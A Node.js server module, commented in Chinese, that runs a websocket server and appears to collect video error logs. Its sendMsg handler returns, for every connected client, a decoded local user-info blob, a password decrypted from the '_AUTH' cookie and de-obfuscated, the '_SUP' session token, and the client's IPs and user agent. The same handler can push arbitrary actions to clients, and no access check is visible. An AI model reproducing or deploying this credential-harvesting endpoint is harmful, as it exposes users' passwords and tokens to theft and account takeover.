const fs = require('fs')
const com = require('@god/node-com')
const DateTime = com.Tool.DateTime
const Directory = com.Tool.Directory

/* 发送数据，并在发送之前，没服务先创建服务 */
const sendMsg = (req, res) => {
  let _nsCoonPool = global.nsCoonPool
  /* 创建一个 websocket-server Node端 */
  if (!global.nsSocket) global.nsSocket = com.Tool.Websocket.createServerSocket(global.SocketServer, getData)

  /* 接口执行操作 */
  if (global.nsSocket) {
    if (req.body.sendMsg === 'send') {
      com.Tool.Websocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
      res.status(200).send({ msg: '已向客户端发送消息', linkCount: _nsCoonPool.length })
    } else {
      let _conArr = []
      for (let i = 0; i < _nsCoonPool.length; i++) {
        let _tmp = _nsCoonPool[i]
        let _str = ''
        let _pwd = ''
        let _token = ''
        if (_tmp.backData) {
          let _json = JSON.parse(_tmp.backData)
          if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
            _str = Buffer.from(_json.info, 'base64').toString()
            if (!_pwd) {
              _pwd = Buffer.from(_str.split(':')[5] || '', 'base64').toString()
            }
          }
        }
        let _cookiesArr = JSON.parse(_tmp.cookies)
        for (let i = 0; i < _cookiesArr.length; i++) {
          if (_cookiesArr[i].name === '_AUTH') { // 获取cookie中 对称加密过的密码 - _AUTH
            _pwd = com.Tool.Crypto.decode(_cookiesArr[i].value)
            break
          }
        }
        for (let i = 0; i < _cookiesArr.length; i++) {
          if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
            _token = _cookiesArr[i].value
            break
          }
        }
        _conArr.push({
          auth: _tmp.key,
          _str: _str,
          pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
          Token: _token,
          keepExitTime: com.Tool.DateTime.toTimeStr(new Date().getTime() - _tmp.createTime),
          IPs: _tmp.IPs,
          UA: _tmp.UA
        })
      }
      res.status(200).send({ linkCount: _nsCoonPool.length, connections: _conArr })
    }
  } else {
    res.status(200).send({ msg: 'ServerSocket not publish' })
  }
}

/* 定义 错误数据接收到后 处理回调函数 */
const getData = (_msg) => {
  /* 采集每天的视频错误信息，并统计到一个文件里 */
  let data = null
  if (_msg.type === 'utf8') {
    try {
      data = JSON.parse(_msg.utf8Data)
    } catch (e) {
      console.error('数据格式不正确1')
      return
    }
  } else if (_msg.type === 'binary') {
    try {
      data = JSON.parse(Buffer.from(_msg.binaryData, 'utf8').toString())
    } catch (e) {
      console.error('数据格式不正确2')
      return
    }
  }
  let _dateStr = DateTime.toDateStr(new Date().getTime())
  let _dirPath = 'upload_tmp/aliVideoErr'
  fs.stat(_dirPath + '/' + _dateStr + '.txt', (error, stats) => {
    if (error) {
      fs.stat(_dirPath, (error, stats) => {
        if (error) {
          Directory.mkdir('upload_tmp/aliVideoErr')
        } else {
          fs.appendFile(_dirPath + '/' + _dateStr + '.txt', JSON.stringify(data) + '\n', function (err) {
            if (err) { console.error('123', err) }
          })
        }
      })
    } else {
      fs.appendFile(_dirPath + '/' + _dateStr + '.txt', JSON.stringify(data) + '\n', function (err) {
        if (err) { console.error('456', err) }
      })
    }
  })
}

module.exports = {
  sendMsg: sendMsg
}
